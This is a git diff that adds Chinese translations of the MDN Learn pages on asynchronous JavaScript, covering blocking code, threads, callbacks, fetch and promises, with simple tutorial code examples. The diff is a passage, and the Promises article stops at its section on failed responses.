+ + diff --git a/files/zh-cn/learn/javascript/asynchronous/concepts/index.html b/files/zh-cn/learn/javascript/asynchronous/concepts/index.html new file mode 100644 index 0000000000..6e59cda54b --- /dev/null +++ b/files/zh-cn/learn/javascript/asynchronous/concepts/index.html @@ -0,0 +1,162 @@ +--- +title: 通用异步编程概念 +slug: learn/JavaScript/异步/概念 +tags: + - JavaScript + - Promises + - Threads + - 学习 + - 异步 + - 阻塞 +translation_of: Learn/JavaScript/Asynchronous/Concepts +--- +
{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}
+ +

在本文中,我们将介绍与异步编程相关的一些重要概念,以及它们在浏览器和JavaScript里的体现。在学习本系列的其他文章之前,你应该先理解这些概念。

+ + + + + + + + + + + + +
预备条件:拥有基本的计算机知识,对JavaScript原理有一定了解。
目标:理解异步编程的基本概念,以及异步编程在浏览器和JavaScript里面的表现。
+ +

异步?

+ +

通常来说,程序都是顺序执行,同一时刻只会发生一件事。如果一个函数依赖于另一个函数的结果,它只能等待那个函数结束才能继续执行,从用户的角度来说,整个程序才算运行完毕.

+ +

Mac 用户有时会经历过这种旋转的彩虹光标(常称为沙滩球),操作系统通过这个光标告诉用户:“现在运行的程序正在等待其他的某一件事情完成,才能继续运行,都这么长的时间了,你一定在担心到底发生了什么事情”。

+ +

multi-colored macos beachball busy spinner

+ +

这是令人沮丧的体验,没有充分利用计算机的计算能力 — 尤其是在计算机普遍都有多核CPU的时代,坐在那里等待毫无意义,你完全可以在另一个处理器内核上干其他的工作,同时计算机完成耗时任务的时候通知你。这样你可以同时完成其他工作,这就是异步编程的出发点。你正在使用的编程环境(就web开发而言,编程环境就是web浏览器)负责为你提供异步运行此类任务的API。

+ +

产生阻塞的代码

+ +

异步技术非常有用,特别是在web编程。当浏览器里面的一个web应用进行密集运算还没有把控制权返回给浏览器的时候,整个浏览器就像冻僵了一样,这叫做阻塞;这时候浏览器无法继续处理用户的输入并执行其他任务,直到web应用交回处理器的控制。

+ +

我们来看一些阻塞的例子。

+ +

例子: simple-sync.html  (see it running live), 在按钮上添加了一个事件监听器,当按钮被点击,它就开始运行一个非常耗时的任务(计算1千万个日期,并在console里显示最后一个日期),然后在DOM里面添加一个段落:

+ +
const btn = document.querySelector('button');
+btn.addEventListener('click', () => {
+  let myDate;
+  for(let i = 0; i < 10000000; i++) {
+    let date = new Date();
+    myDate = date
+  }
+
+  console.log(myDate);
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});
+ +

运行这个例子的时候,打开JavaScript console,然后点击按钮 — 你会注意到,直到日期的运算结束,最后一个日期在console上显示出来,段落才会出现在网页上。代码按照源代码的顺序执行,只有前面的代码结束运行,后面的代码才会执行。

+ +
+

Note: 这个例子不现实:在实际情况中一般不会发生,没有谁会计算1千万次日期,它仅仅提供一个非常直观的体验.

+
+ +

第二个例子, simple-sync-ui-blocking.html (see it live), 我们模拟一个在现实的网页可能遇到的情况:因为渲染UI而阻塞用户的互动,这个例子有2个按钮:

+ + + +
function expensiveOperation() {
+  for(let i = 0; i < 1000000; i++) {
+    ctx.fillStyle = 'rgba(0,0,255, 0.2)';
+    ctx.beginPath();
+    ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degToRad(0), degToRad(360), false);
+    ctx.fill()
+  }
+}
+
+fillBtn.addEventListener('click', expensiveOperation);
+
+alertBtn.addEventListener('click', () =>
+  alert('You clicked me!')
+);
+ +

如果你点击第一个按钮,然后快速点击第二个,会注意到alert消息并没有出现,只有等到圆圈都画完以后,才会出现:因为第一个操作没有完成之前阻塞了第二个操作的运行.

+ +
+

Note: 当然,这个例子也很丑陋,因为我们只是在模拟阻塞效果。但在现实中,这是一个很常见的问题。开发人员们一直在努力缓解它。

+
+ +

为什么是这样? 答案是:JavaScript一般来说是单线程的(single threaded接着我们来介绍线程的概念。

+ +

线程

+ +

一个线程是一个基本的处理过程,程序用它来完成任务。每个线程一次只能执行一个任务:

+ +
Task A --> Task B --> Task C
+ +

每个任务顺序执行,只有前面的结束了,后面的才能开始。

+ +

正如我们之前所说,现在的计算机大都有多个内核(core),因此可以同时执行多个任务。支持多线程的编程语言可以使用计算机的多个内核,同时完成多个任务:

+ +
Thread 1: Task A --> Task B
+Thread 2: Task C --> Task D
+ +

JavaScript 是单线程的

+ +

JavaScript 传统上是单线程的。即使有多个内核,也只能在单一线程上运行多个任务,此线程称为主线程(main thread)。我们上面的例子运行如下:

+ +
Main thread: Render circles to canvas --> Display alert()
+ +

经过一段时间,JavaScript获得了一些工具来帮助解决这种问题。通过 Web workers 可以把一些任务交给一个名为worker的单独的线程,这样就可以同时运行多个JavaScript代码块。一般来说,用一个worker来运行一个耗时的任务,主线程就可以处理用户的交互(避免了阻塞)

+ +
Main thread: Task A --> Task C
+Worker thread: Expensive task B
+ +

记住这些,请查看simple-sync-worker.html (see it running live) , 再次打开浏览器的JavaScript 控制台。这个例子重写了前例:在一个单独的worker线程中计算一千万次日期,你再点击按钮,现在浏览器可以在日期计算完成之前显示段落,阻塞消失了。

+ +

异步代码

+ +

web workers相当有用,但是他们确实也有局限。主要的一个问题是他们不能访问 {{Glossary("DOM")}} — 不能让一个worker直接更新UI。我们不能在worker里面渲染1百万个蓝色圆圈,它基本上只能做算数的苦活。

+ +

其次,虽然在worker里面运行的代码不会产生阻塞,但是基本上还是同步的。当一个函数依赖于几个在它之前运行的过程的结果,这就会成为问题。考虑下面的情况:

+ +
Main thread: Task A --> Task B
+ +

在这种情况下,比如说Task A 正在从服务器上获取一个图片之类的资源,Task B 准备在图片上加一个滤镜。如果开始运行Task A 后立即尝试运行Task B,你将会得到一个错误,因为图像还没有获取到。

+ +
Main thread: Task A --> Task B --> |Task D|
+Worker thread: Task C -----------> |      |
+ +

在这种情况下,假设Task D 要同时使用 Task B 和Task C的结果,如果我们能保证这两个结果同时提供,程序可能正常运行,但是这不太可能。如果Task D 尝试在其中一个结果尚未可用的情况下就运行,程序就会抛出一个错误。

+ +

为了解决这些问题,浏览器允许我们异步运行某些操作。像Promises 这样的功能就允许让一些操作运行 (比如:从服务器上获取图片),然后等待直到结果返回,再运行其他的操作:

+ +
Main thread: Task A                   Task B
+    Promise:      |__async operation__|
+ +

由于操作发生在其他地方,因此在处理异步操作的时候,主线程不会被阻塞。

+ +

我们将在下一篇文章中开始研究如何编写异步代码。 非常令人兴奋,对吧? 继续阅读!

+ +

总结

+ +

围绕异步编程领域,现代软件设计正在加速旋转,就为了让程序在一个时间内做更多的事情。当你使用更新更强大的API时,你会发现在更多的情况下,使用异步编程是唯一的途径。以前写异步代码很困难,现在也需要你来适应,但是已经变容易了很多。在余下的部分,我们将进一步探讨异步代码的重要性,以及如何设计代码来防止前面已经提到过的问题。

+ +

模块大纲

+ + diff --git a/files/zh-cn/learn/javascript/asynchronous/index.html b/files/zh-cn/learn/javascript/asynchronous/index.html new file mode 100644 index 0000000000..3d89f5a060 --- /dev/null +++ b/files/zh-cn/learn/javascript/asynchronous/index.html @@ -0,0 +1,59 @@ +--- +title: 异步JavaScript +slug: learn/JavaScript/异步 +tags: + - JavaScript + - Promises + - requestAnimationFrame + - 初学者 + - 回调函数 + - 异步 + - 指南 + - 等待 + - 脚本编程 + - 设置定时器 + - 设置间隔 +translation_of: Learn/JavaScript/Asynchronous +--- +
+ +
{{LearnSidebar}}
+ +
+ +

在这个模块,我们将查看 {{Glossary("asynchronous")}} {{Glossary("JavaScript")}},异步为什么很重要,以及怎样使用异步来有效处理潜在的阻塞操作,比如从服务器上获取资源。

+ +

预备知识

+ +

异步JavaScript 是一个相当高级的话题,建议你先完成( JavaScript first stepsJavaScript building blocks) 两个模块的学习后再来学习。

+ +

如果你还不熟悉异步编程的概念,请从 通用异步编程概念开始. 如果熟悉的话,可以直接从介绍异步JavaScript 开始.

+ +
+

Note: 如果在当前阅读本文档而使用的电子设备(电脑/平板/其他)上,你没有权限生成自己的文件,你可以使用 JSBin or Thimble 在线编程工具来尝试文章里面的代码示例

+
+ +

指南

+ +
+
一般异步编程概念
+
+

浏览 异步相关的重要概念,在浏览器和JS里面的应用,学习本模块其他文章之前,你应该理解这些基本的概念。

+
+
介绍异步JS
+
这篇文章简单概括同步JS遇到的问题,首次提到一些不同的异步JS技术,他们是如何解决同步JS的问题
+
合作异步JS:Timeouts and intervals
+
在这里介绍JS传统的异步方法:在一段时间后运行 或者 在设定时间周期反复运行,看看这些技术如何使用,有什么内在的问题.
+
优雅的处理异步操作:Promises
+
Promises 是JS一个相对比较新的特性,你可以使用它来延迟一些操作直到前面的代码已经返回结果。对于时间上顺序完成的一系列操作,这个真的有用。本文展示promises 如何工作,使用WebAPIs何处会见到它, 最重要的:怎样写你自己的promises.
+
让异步编程简单: async and await
+
Promises 有点复杂, 所以现代的浏览器都实现了 async 函数和 await 操作符 —--前者允许标准函数隐式地和 promises 工作, 后者可以在async 函数里面使用,等待promises运行结束,函数再继续运行。
+
选择正确的方法
+
结束本模块之前,回顾一下已经讨论的编程技术和特性:什么时候用哪个。有推荐,也有常见的陷阱提醒。
+
+ +

参考

+ + diff --git a/files/zh-cn/learn/javascript/asynchronous/introducing/index.html b/files/zh-cn/learn/javascript/asynchronous/introducing/index.html new file mode 100644 index 0000000000..1792c0e086 --- /dev/null +++ b/files/zh-cn/learn/javascript/asynchronous/introducing/index.html @@ -0,0 +1,272 @@ +--- +title: 异步JavaScript简介 +slug: learn/JavaScript/异步/简介 +translation_of: Learn/JavaScript/Asynchronous/Introducing +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/异步/概念", "Learn/JavaScript/异步/Timeouts_and_intervals", "Learn/JavaScript/异步")}}
+ +

在本文中,我们简要回顾一下与同步JavaScript相关的问题,首次介绍你将遇到的一些不同的异步技术,并展示如何使用这些技术解决问题。

+ + + + + + + + + + + + +
预备条件:基本的计算机素养,以及对JavaScript 基础知识的较好的理解。
目标:熟悉什么是异步JavaScript,与同步JavaScript 的区别,以及使用场合。
+ +

同步JavaScript

+ +

要理解什么是{{Glossary("异步")}} JavaScript ,我们应该从确切理解{{Glossary("同步")}} JavaScript 开始。本节回顾我们在上一篇文章中看到的一些信息。

+ +

前面学的很多知识基本上都是同步的 — 运行代码,然后浏览器尽快返回结果。先看一个简单的例子 (运行它, 这是源码):

+ +
const btn = document.querySelector('button');
+btn.addEventListener('click', () => {
+  alert('You clicked me!');
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});
+
+ +

这段代码, 一行一行的顺序执行:

+ +
    +
  1. 先取得一个在DOM里面的 {{htmlelement("button")}} 引用。
  2. +
  3. 点击按钮的时候,添加一个 click 事件监听器: +
      +
    1. alert() 消息出现。
    2. +
    3. 一旦alert 结束,创建一个{{htmlelement("p")}} 元素。
    4. +
    5. 给它的文本内容赋值。
    6. +
    7. 最后,把这个段落放进网页。
    8. +
    +
  4. +
+ +

每一个操作在执行的时候,其他任何事情都没有发生 — 网页的渲染暂停. 因为前篇文章提到过 JavaScript is single threaded. 任何时候只能做一件事情, 只有一个主线程,其他的事情都阻塞了,直到前面的操作完成。

+ +

所以上面的例子,点击了按钮以后,段落不会创建,直到在alert消息框中点击ok,段落才会出现,你可以自己试试:

+ + + +

{{EmbedLiveSample('Synchronous_JavaScript', '100%', '70px')}}

+ +
+

Note: 这很重要请记住,alert()在演示阻塞效果的时候非常有用,但是在正式代码里面,它就是一个噩梦。

+
+ +

异步JavaScript

+ +

就前面提到的种种原因(比如,和阻塞相关)很多网页API特性使用异步代码,特别是从外部的设备上获取资源,譬如,从网络获取文件,访问数据库,从网络摄像头获得视频流,或者向VR头罩广播图像。

+ +

为什么使用异步代码这么难?看一个例子,当你从服务器获取一个图像,通常你不可能立马就得到,这需要时间,虽然现在的网络很快。这意味着下面的伪代码可能不能正常工作:

+ +
var response = fetch('myImage.png');
+var blob = response.blob();
+// display your image blob in the UI somehow
+ +

因为你不知道下载图片会多久,所以第二行代码执行的时候可能报错(可能间歇的,也可能每次)因为图像还没有就绪。取代的方法就是,代码必须等到 response 返回才能继续往下执行。

+ +

在JavaScript代码中,你经常会遇到两种异步编程风格:老派callbacks,新派promise。下面就来分别介绍。

+ +

异步callbacks

+ +

异步callbacks 其实就是函数,只不过是作为参数传递给那些在后台执行的其他函数. 当那些后台运行的代码结束,就调用callbacks函数,通知你工作已经完成,或者其他有趣的事情发生了。使用callbacks 有一点老套,在一些老派但经常使用的API里面,你会经常看到这种风格。

+ +

举个例子,异步callback 就是{{domxref("EventTarget.addEventListener", "addEventListener()")}}第二个参数(前面的例子):

+ +
btn.addEventListener('click', () => {
+  alert('You clicked me!');
+
+  let pElem = document.createElement('p');
+  pElem.textContent = 'This is a newly-added paragraph.';
+  document.body.appendChild(pElem);
+});
+ +

第一个参数是侦听的事件类型,第二个就是事件发生时调用的回调函数。.

+ +

当我们把回调函数作为一个参数传递给另一个函数时,仅仅是把回调函数定义作为参数传递过去 — 回调函数并没有立刻执行,回调函数会在包含它的函数的某个地方异步执行,包含函数负责在合适的时候执行回调函数。

+ +

你可以自己写一个容易的,包含回调函数的函数。来看另外一个例子,用 XMLHttpRequest API (运行它, 源代码) 加载资源:

+ +
function loadAsset(url, type, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.open('GET', url);
+  xhr.responseType = type;
+
+  xhr.onload = function() {
+    callback(xhr.response);
+  };
+
+  xhr.send();
+}
+
+function displayImage(blob) {
+  let objectURL = URL.createObjectURL(blob);
+
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}
+
+loadAsset('coffee.jpg', 'blob', displayImage);
+ +

创建 displayImage() 函数,简单的把blob传递给它,生成objectURL,然后再生成一个image元素,把objectURL作为image的源地址,最后显示这张图片。  然后,我们创建 loadAsset() 函数,把URL,type,和回调函数同时都作为参数。函数用 XMLHttpRequest (通常缩写 "XHR") 获取给定URL的资源,在获得资源响应后再把响应作为参数传递给回调函数去处理。 (使用 onload 事件处理) ,有点烧脑,是不是?!

+ +

回调函数用途广泛 — 他们不仅仅可以用来控制函数的执行顺序和函数之间的数据传递,还可以根据环境的不同,将数据传递给不同的函数,所以对下载好的资源,你可以采用不同的操作来处理,譬如 processJSON(), displayText(), 等等。

+ +

请注意,不是所有的回调函数都是异步的 — 有一些是同步的。一个例子就是使用 {{jsxref("Array.prototype.forEach()")}} 来遍历数组 (运行, 源代码):

+ +
const gods = ['Apollo', 'Artemis', 'Ares', 'Zeus'];
+
+gods.forEach(function (eachName, index){
+  console.log(index + '. ' + eachName);
+});
+ +

在这个例子中,我们遍历一个希腊神的数组,并在控制台中打印索引和值。forEach() 需要的参数是一个回调函数,回调函数本身带有两个参数,数组元素和索引值。它无需等待任何事情,立即运行。

+ +

Promises

+ +

Promises 是新派的异步代码,现代的web APIs经常用到。 fetch() API就是一个很好的例子, 它基本上就是一个现代版的,更高效的 {{domxref("XMLHttpRequest")}}。看个例子,来自于文章 Fetching data from the server

+ +
fetch('products.json').then(function(response) {
+  return response.json();
+}).then(function(json) {
+  products = json;
+  initialize();
+}).catch(function(err) {
+  console.log('Fetch problem: ' + err.message);
+});
+ +
+

Note: 在GitHub上有完整的代码 (see the source here, and also see it running live)。

+
+ +

这里fetch() 只需要一个参数— 资源的网络 URL — 返回一个 promise. promise 是表示异步操作完成或失败的对象。可以说,它代表了一种中间状态。 本质上,这是浏览器说“我保证尽快给您答复”的方式,因此得名“promise”。

+ +

这个概念需要练习来适应;它感觉有点像运行中的{{interwiki("wikipedia", "薛定谔猫")}}。这两种可能的结果都还没有发生,因此fetch操作目前正在等待浏览器试图在将来某个时候完成该操作的结果。然后我们有三个代码块链接到fetch()的末尾:

+ + + +
+

Note: 在本模块稍后的部分中,你将学习更多关于promise的内容,所以如果你还没有完全理解这些promise,请不要担心。

+
+ +

事件队列

+ +

像promise这样的异步操作被放入事件队列中,事件队列在主线程完成处理后运行,这样它们就不会阻止后续JavaScript代码的运行。排队操作将尽快完成,然后将结果返回到JavaScript环境。

+ +

Promises 对比 callbacks

+ +

promises与旧式callbacks有一些相似之处。它们本质上是一个返回的对象,您可以将回调函数附加到该对象上,而不必将回调作为参数传递给另一个函数。

+ +

然而,Promise是专门为异步操作而设计的,与旧式回调相比具有许多优点:

+ + + +

异步代码的本质

+ +

让我们研究一个示例,它进一步说明了异步代码的本质,展示了当我们不完全了解代码执行顺序以及将异步代码视为同步代码时可能发生的问题。下面的示例与我们之前看到的非常相似( 运行它 和 源代码)。一个不同之处在于,我们包含了许多{{domxref("console.log()")}}语句,以展示代码将在其中执行的顺序。

+ +
console.log ('Starting');
+let image;
+
+fetch('coffee.jpg').then((response) => {
+  console.log('It worked :)')
+  return response.blob();
+}).then((myBlob) => {
+  let objectURL = URL.createObjectURL(myBlob);
+  image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}).catch((error) => {
+  console.log('There has been a problem with your fetch operation: ' + error.message);
+});
+
+console.log ('All done!');
+ +

浏览器将会执行代码,看见第一个console.log() 输出(Starting) ,然后创建image 变量。

+ +

然后,它将移动到下一行并开始执行fetch()块,但是,因为fetch()是异步执行的,没有阻塞,所以在promise相关代码之后程序继续执行,从而到达最后的console.log()语句(All done!)并将其输出到控制台。

+ +

只有当fetch() 块完成运行返回结果给.then() ,我们才最后看到第二个console.log() 消息 (It worked ;)) . 所以 这些消息 可能以 和你预期不同的顺序出现:

+ + + +

如果你感到疑惑,考虑下面这个小例子:

+ +
console.log("registering click handler");
+
+button.addEventListener('click', () => {
+  console.log("get click");
+});
+
+console.log("all done");
+ +

这在行为上非常相似——第一个和第三个console.log()消息将立即显示,但是第二个消息将被阻塞,直到有人单击鼠标按钮。前面的示例以相同的方式工作,只是在这种情况下,第二个消息在promise链上被阻塞,直到获取资源后再显示在屏幕上,而不是单击。

+ +

要查看实际情况,请尝试获取示例的本地副本,并将第三个console.log()调用更改为以下命令:

+ +
console.log ('All done! ' + image.src + 'displayed.');
+ +

此时控制台将会报错,而不会显示第三个 console.log 的信息:

+ +
TypeError: image is undefined; can't access its "src" property
+ +

这是因为:浏览器运行第三个console.log()的时候,fetch() 语句块还没有完成,因此image还没有赋值。

+ +

主动学习:把代码全部异步化

+ +

要修复有问题的fetch()示例并使三个console.log()语句按期望的顺序出现,还可以让第三个console.log()语句异步运行。这可以通过将它移动到另一个then()块中来实现,然后将它链接到第二个then()块的末尾,或者简单地将它移动到第二个then()块中。现在就试试。

+ +
+

Note: 如果你困住了,你可以在这里找到答案 (这里运行)。在后面的文章:用Promises优雅的异步编程, 你将会发现更多信息。

+
+ +

小结

+ +

在最基本的形式中,JavaScript是一种同步的、阻塞的、单线程的语言,在这种语言中,一次只能执行一个操作。但web浏览器定义了函数和API,允许我们当某些事件发生时不是按照同步方式,而是异步地调用函数(比如,时间的推移,用户通过鼠标的交互,或者获取网络数据)。这意味着您的代码可以同时做几件事情,而不需要停止或阻塞主线程。

+ +

异步还是同步执行代码,取决于我们要做什么。

+ +

有些时候,我们希望事情能够立即加载并发生。例如,当将一些用户定义的样式应用到一个页面时,您希望这些样式能够尽快被应用。

+ +

但是,如果我们正在运行一个需要时间的操作,比如查询数据库并使用结果填充模板,那么最好将该操作从主线程中移开使用异步完成任务。随着时间的推移,您将了解何时选择异步技术比选择同步技术更有意义。

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}

+ +

模块大纲

+ + diff --git a/files/zh-cn/learn/javascript/asynchronous/promises/index.html b/files/zh-cn/learn/javascript/asynchronous/promises/index.html new file mode 100644 index 0000000000..665bda8129 --- /dev/null +++ b/files/zh-cn/learn/javascript/asynchronous/promises/index.html @@ -0,0 +1,599 @@ +--- +title: 优雅的异步处理 +slug: learn/JavaScript/异步/Promises语法 +translation_of: Learn/JavaScript/Asynchronous/Promises +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}
+ +

Promise 是 JavaScript 语言的一个相对较新的功能,允许你推迟进一步的操作,直到上一个操作完成或响应其失败。这对于设置一系列异步操作以正常工作非常有用。本文向你展示了promises如何工作,如何在Web API中使用它们以及如何编写自己的API

+ + + + + + + + + + + + +
前提条件:基本的计算机素养,具备基础的JavaScript知识
目标:理解并使用学习如何使用Promises
+ +

什么是promises?

+ +

我们在教程的第一篇文章中简要地了解了 Promises,接下来我们将在更深层次理解Promise。

+ +

本质上,Promise 是一个对象,代表操作的中间状态 —— 正如它的单词含义 '承诺' ,它保证在未来可能返回某种结果。虽然 Promise 并不保证操作在何时完成并返回结果,但是它保证当结果可用时,你的代码能正确处理结果,当结果不可用时,你的代码同样会被执行,来优雅的处理错误。

+ +

通常你不会对一个异步操作从开始执行到返回结果所用的时间感兴趣(除非它耗时过长),你会更想在任何时候都能响应操作结果,当然它不会阻塞其余代码的执行就更好了。

+ +

你与 Promise 常见的交互之一就是 Web API 返回的 promise 对象。让我们设想一个视频聊天应用程序,该程序有一个展示用户的朋友列表的窗口,可以点击朋友旁边的按钮对朋友视频呼叫。

+ +

该按钮的处理程序调用 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} 来访问用户的摄像头和麦克风。由于 getUserMedia() 必须确保用户具有使用这些设备的权限,并询问用户要使用哪个麦克风和摄像头(或者是否仅进行语音通话,以及其他可能的选项),因此它会产生阻塞,直到用户做出所有的决定,并且摄像头和麦克风都已启用。此外,用户可能不会立即响应权限请求。所以 getUserMedia() 可能需要很长时间。

+ +

由于 getUserMedia() 是在浏览器的主线程进行调用,整个浏览器将会处于阻塞状态直到 getUserMedia() 返回,这是不应该发生的;不使用Promise,浏览器将处于不可用状态直到用户为摄像头和麦克风做出决定。因此 getUserMedia() 返回一个Promise对象,即 {{jsxref("promise")}},一旦  {{domxref("MediaStream")}} 流可用才去解析,而不是等待用户操作、启动选中的设备并直接返回从所选资源创建的 {{domxref("MediaStream")}} 流。

+ +

上述视频聊天应用程序的代码可能像下面这样:

+ +
function handleCallButton(evt) {
+  setStatusMessage("Calling...");
+  navigator.mediaDevices.getUserMedia({video: true, audio: true})
+    .then(chatStream => {
+      selfViewElem.srcObject = chatStream;
+      chatStream.getTracks().forEach(track => myPeerConnection.addTrack(track, chatStream));
+      setStatusMessage("Connected");
+    }).catch(err => {
+      setStatusMessage("Failed to connect");
+    });
+}
+
+ +

这个函数在开头调用 setStatusMessage() 来更新状态显示信息"Calling...", 表示正在尝试通话。接下来调用 getUserMedia(),请求具有视频及音频轨的流,一旦获得这个流,就将其显示在"selfViewElem"的video元素中。接下来将这个流的每个轨道添加到表示与另一个用户的连接的 WebRTC,参见{{domxref("RTCPeerConnection")}}。在这之后,状态显示为"Connected"。

+ +

如果getUserMedia()失败,则catch块运行。这使用setStatusMessage()更新状态框以指示发生错误。

+ +

这里重要的是getUserMedia()调用几乎立即返回,即使尚未获得相机流。即使handleCallButton()函数向调用它的代码返回结果,当getUserMedia()完成工作时,它也会调用你提供的处理程序。只要应用程序不假设流式传输已经开始,它就可以继续运行。

+ +
+

注意:  如果你有兴趣,可以在文章Signaling and video calling中了解有关此高级主题的更多信息。在该示例中使用与此类似的代码,但更完整。

+
+ +

 回调函数的麻烦

+ +

要完全理解为什么 promise 是一件好事,应该回想之前的回调函数,理解它们造成的困难。

+ +

我们来谈谈订购披萨作为类比。为了使你的订单成功,你必须按顺序执行,不按顺序执行或上一步没完成就执行下一步是不会成功的:

+ +
    +
  1. 选择配料。如果你是优柔寡断,这可能需要一段时间,如果你无法下定决心或者决定换咖喱,可能会失败。
  2. +
  3. 下订单。返回比萨饼可能需要一段时间,如果餐厅没有烹饪所需的配料,可能会失败。
  4. +
  5. 然后你收集你的披萨吃。如果你忘记了自己的钱包,那么这可能会失败,所以无法支付比萨饼的费用!
  6. +
+ +

对于旧式callbacks,上述功能的伪代码表示可能如下所示:

+ +
chooseToppings(function(toppings) {
+  placeOrder(toppings, function(order) {
+    collectOrder(order, function(pizza) {
+      eatPizza(pizza);
+    }, failureCallback);
+  }, failureCallback);
+}, failureCallback);
+ +

这很麻烦且难以阅读(通常称为“回调地狱”),需要多次调用failureCallback()(每个嵌套函数一次),还有其他问题。

+ +

使用promise改良

+ +

Promises使得上面的情况更容易编写,解析和运行。如果我们使用异步promises代表上面的伪代码,我们最终会得到这样的结果:

+ +
chooseToppings()
+.then(function(toppings) {
+  return placeOrder(toppings);
+})
+.then(function(order) {
+  return collectOrder(order);
+})
+.then(function(pizza) {
+  eatPizza(pizza);
+})
+.catch(failureCallback);
+ +

这要好得多 - 更容易看到发生了什么,我们只需要一个.catch()块来处理所有错误,它不会阻塞主线程(所以我们可以在等待时继续玩视频游戏为了准备好收集披萨),并保证每个操作在运行之前等待先前的操作完成。我们能够以这种方式一个接一个地链接多个异步操作,因为每个.then()块返回一个新的promise,当.then()块运行完毕时它会解析。聪明,对吗?

+ +

使用箭头函数,你可以进一步简化代码:

+ +
chooseToppings()
+.then(toppings =>
+  placeOrder(toppings)
+)
+.then(order =>
+  collectOrder(order)
+)
+.then(pizza =>
+  eatPizza(pizza)
+)
+.catch(failureCallback);
+ +

甚至这样:

+ +
chooseToppings()
+.then(toppings => placeOrder(toppings))
+.then(order => collectOrder(order))
+.then(pizza => eatPizza(pizza))
+.catch(failureCallback);
+ +

这是有效的,因为使用箭头函数 () => x()=> {return x;}  的有效简写; 。

+ +

你甚至可以这样做,因为函数只是直接传递它们的参数,所以不需要额外的函数层:

+ +
chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback);
+ +

但是,这并不容易阅读,如果你的块比我们在此处显示的更复杂,则此语法可能无法使用。

+ +
+

注意: 你可以使用 async/await 语法进行进一步的改进,我们将在下一篇文章中深入讨论。

+
+ +

最基本的,promise与事件监听器类似,但有一些差异:

+ + + +

 解释promise的基本语法:一个真实的例子

+ +

Promises 很重要,因为大多数现代Web API都将它们用于执行潜在冗长任务的函数。要使用现代Web技术,你需要使用promises。在本章的后面我们将看看如何编写自己的promises,但是现在我们将看一些你将在Web API中遇到的简单示例。

+ +

在第一个示例中,我们将使用fetch()方法从Web获取图像,blob() 方法来转换获取响应的原始内容到 Blob 对象,然后在 <img> 元素内显示该blob。这与我们在 first article of the series中看到的示例非常相似,但是会在构建你自己的基于 promise 的代码时有所不同。 

+ +
+

注意: 下列代码无法直接运行(i.e. via a file:// URL)。你需要本地测试服务器,或是 GlitchGitHub pages 这样的在线解决方案。

+
+ +
    +
  1. +

    首先,下载我们的 simple HTML templatesample image file

    +
  2. +
  3. +

    将 {{htmlelement("script")}} 元素添加在HTML {{htmlelement("body")}} 的底部。

    +
  4. +
  5. +

    在 {{HTMLElement("script")}} 元素内,添加以下行:

    + +
    let promise = fetch('coffee.jpg');
    + +

    这会调用 fetch() 方法,将图像的URL作为参数从网络中提取。这也可以将options对象作为可选的第二个参数,但我们现在只使用最简单的版本。我们将 fetch() 返回的promise对象存储在一个名为promise的变量中。正如我们之前所说的,这个对象代表了一个最初既不成功也不失败的中间状态 - 这个状态下的promise的官方术语叫作pending

    +
  6. +
  7. 为了响应成功完成操作(在这种情况下,当返回{{domxref("Response")}}时),我们调用promise对象的.then()方法。 .then()块中的回调(称为执行程序)仅在promise调用成功完成时运行并返回{{domxref("Response")}}对象 - 在promise-speak中,当它已被满足时。它将返回的{{domxref("Response")}}对象作为参数传递。
  8. +
+ +
+

注意: .then()块的工作方式类似于使用AddEventListener()向对象添加事件侦听器时的方式。它不会在事件发生之前运行(当promise履行时)。最显着的区别是.then()每次使用时只运行一次,而事件监听器可以多次调用。

+
+ +

我们立即对此响应运行blob()方法以确保响应主体完全下载,并且当它可用时将其转换为我们可以执行某些操作的Blob对象。返回的结果如下:

+ +
response => response.blob()
+ +

这是下面的简写

+ +
function(response) {
+    return response.blob();
+}
+
+ +

好的,我们还需要做点额外的工作。Fetch promises 不会产生 404 或 500错误,只有在产生像网路故障的情况时才会不工作。总的来说,Fetch promises 总是成功运行,即使response.ok 属性是 false。为了产生404错误,我们需要判断 response.ok ,如果是 false,抛出错误,否则返回 blob。就像下面的代码这样做。

+ +
let promise2 = promise.then(response => {
+  if (!response.ok) {
+    throw new Error(`HTTP error! status: ${response.status}`);
+  } else {
+    return response.blob();
+  }
+});
+ +

5. 每次调用.then()都会创建一个新的promise。这非常有用;因为blob()方法也返回一个promise,我们可以通过调用第二个promise的.then()方法来处理它在履行时返回的Blob对象。因为我们想要对blob执行一些更复杂的操作,而不仅仅运行单个方法并返回结果,这次我们需要将函数体包装成花括号(否则会抛出错误)。

+ +

将以下内容添加到代码的末尾:

+ +
let promise3 = promise2.then(myBlob => {})
+ +

6. 现在让我们填写执行程序函数的主体。在花括号内添加以下行:

+ +
let objectURL = URL.createObjectURL(myBlob);
+let image = document.createElement('img');
+image.src = objectURL;
+document.body.appendChild(image);
+ +

这里我们运行{{domxref("URL.createObjectURL()")}}方法,将其作为Blob在第二个promise实现时返回的参数传递。这将返回指向该对象的URL。然后我们创建一个{{htmlelement("img")}}元素,将其src属性设置为等于对象URL并将其附加到DOM,这样图像就会显示在页面上!

+ +

如果你保存刚刚创建的HTML文件并将其加载到浏览器中,你将看到图像按预期显示在页面中。干得好!

+ +
+

注意: 你可能会注意到这些例子有点做作。你可以取消整个fetch()blob()链,只需创建一个<img>元素并将其src属性值设置为图像文件的URL,即coffee.jpg。然而,我们选择了这个例子,因为它以简单的方式展示了promise,而不是真实世界的适当性。

+
+ +

响应失败

